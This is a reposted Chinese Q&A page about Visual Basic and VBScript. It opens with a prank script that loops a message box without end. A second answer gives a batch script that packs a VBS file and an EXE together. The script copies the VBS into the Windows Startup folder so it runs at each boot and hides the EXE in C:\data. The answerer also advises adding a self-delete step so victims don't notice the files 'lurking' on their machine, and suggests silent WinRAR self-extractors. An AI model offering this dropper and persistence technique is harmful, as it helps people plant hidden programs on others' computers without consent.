Visual Basic 6.0 和 Visual Baisc Script 大同小异(说夸张点了),VB6与VBS最大的不同点是:VB6是可视化的,VBS是需要纯代码编写的,比VB6麻烦一点。
VBS的代码直接复制到VB6的代码窗口里有时甚至没有出现异常(当然要放在事件里的),你可以试试看,实在不行追问我。我不知道你的VBS代码,追问时记得发给我文件,我可以帮你改代码。
下面举个例子:VBS整人代码:Do Msgbox "你被耍了,哈哈!Loop'代码的意思是,跳出一个MassageBox(信息框),内容是:你被耍了,哈哈!要想解决这个难题,打开任务管理器,关闭wscript.exe就可以了!,怎么按确定还是按下关闭键,这个提示框就关了又出现(你如果真被整了关闭wscript.exe就可以了,我没说谎~)。VB6如果想实现的话:Private Sub Form_Load()Do Msgbox "你被耍了,哈哈!"LoopEnd Sub'当然执行的结果是一样的,只不过关闭wscript.exe无法恢复(因为根本就没有wscript.exe这个进程!)我的QQ:1808039284,有问题加我,备注:Mac叶汐。
2.请问怎样将exe程序,vbe文件还有bat文件打包成一个exe程序
网上有bat转换exe文件的工具,那工具还可以添加副文件,你看下能不能把vbs和你的exe打包进去,可以的话就会转换成一个exe文件,建议你的bat文件之前加几条命令,意思就是检测电脑用的是XP还是WIN7,因为XP和WIN7的启动位置不一样,所以要判断一下,判断后把你的vbs文件移动到启动栏里,这样别人每次开机就能运行你的vbs了,你再加2个命令,把你的EXE移动到其他路径下,如在C盘建立一个data文件,再把EXE文件放进去,命令可以这么写:
VER|FIND "版本 6">nul
if %errorlevel%==0 goto cwin7
if %errorlevel%==1 goto cXP
:cwin7
md c:\data &move /y 你的EXE文件名 "c:\data"
move /y 你的vbs文件名 "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
if %errorlevel%==0 (echo 这里是移动成功做什么) else (del 你的vbs文件名&cls&echo 失败!可能是安全软件阻止所致。&pause>nul&exit)
:cXP
md c:\data &move /y 你的EXE文件名 "c:\data"
move /y 你的vbs文件名 "%USERPROFILE%\「开始」菜单\程序\启动\"
if %errorlevel%==0 (cls&echo 这里是成功了做的事,这命令随你要不要)
当然,最好是把你的bat转换成的EXE文件最后加个销毁自身命令,那样别人只知道运行完你的EXE后,文件莫名其妙的消失了,其实vbs和exe已经在他电脑潜伏下来了。说了那么多,楼主是不是应该追加我多点分啊
如果是要达到变成EXE直接运行 可以考虑采用 WINRAR 制作成自解压格式 设置幽灵模式 即可如果想美化多做些处理的话可以采用批处理 把VBS的内容写进批处理 在调用 然后对批处理进行美化 图标 制作版权 等等可以导出成Jar包,双击一样可以直接运行。右键自己的Java项目,选择Export Project
在d出的框是选择路径软后选择main函数,最后命名为XXX.jar
回答完毕,这个是我记得的。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)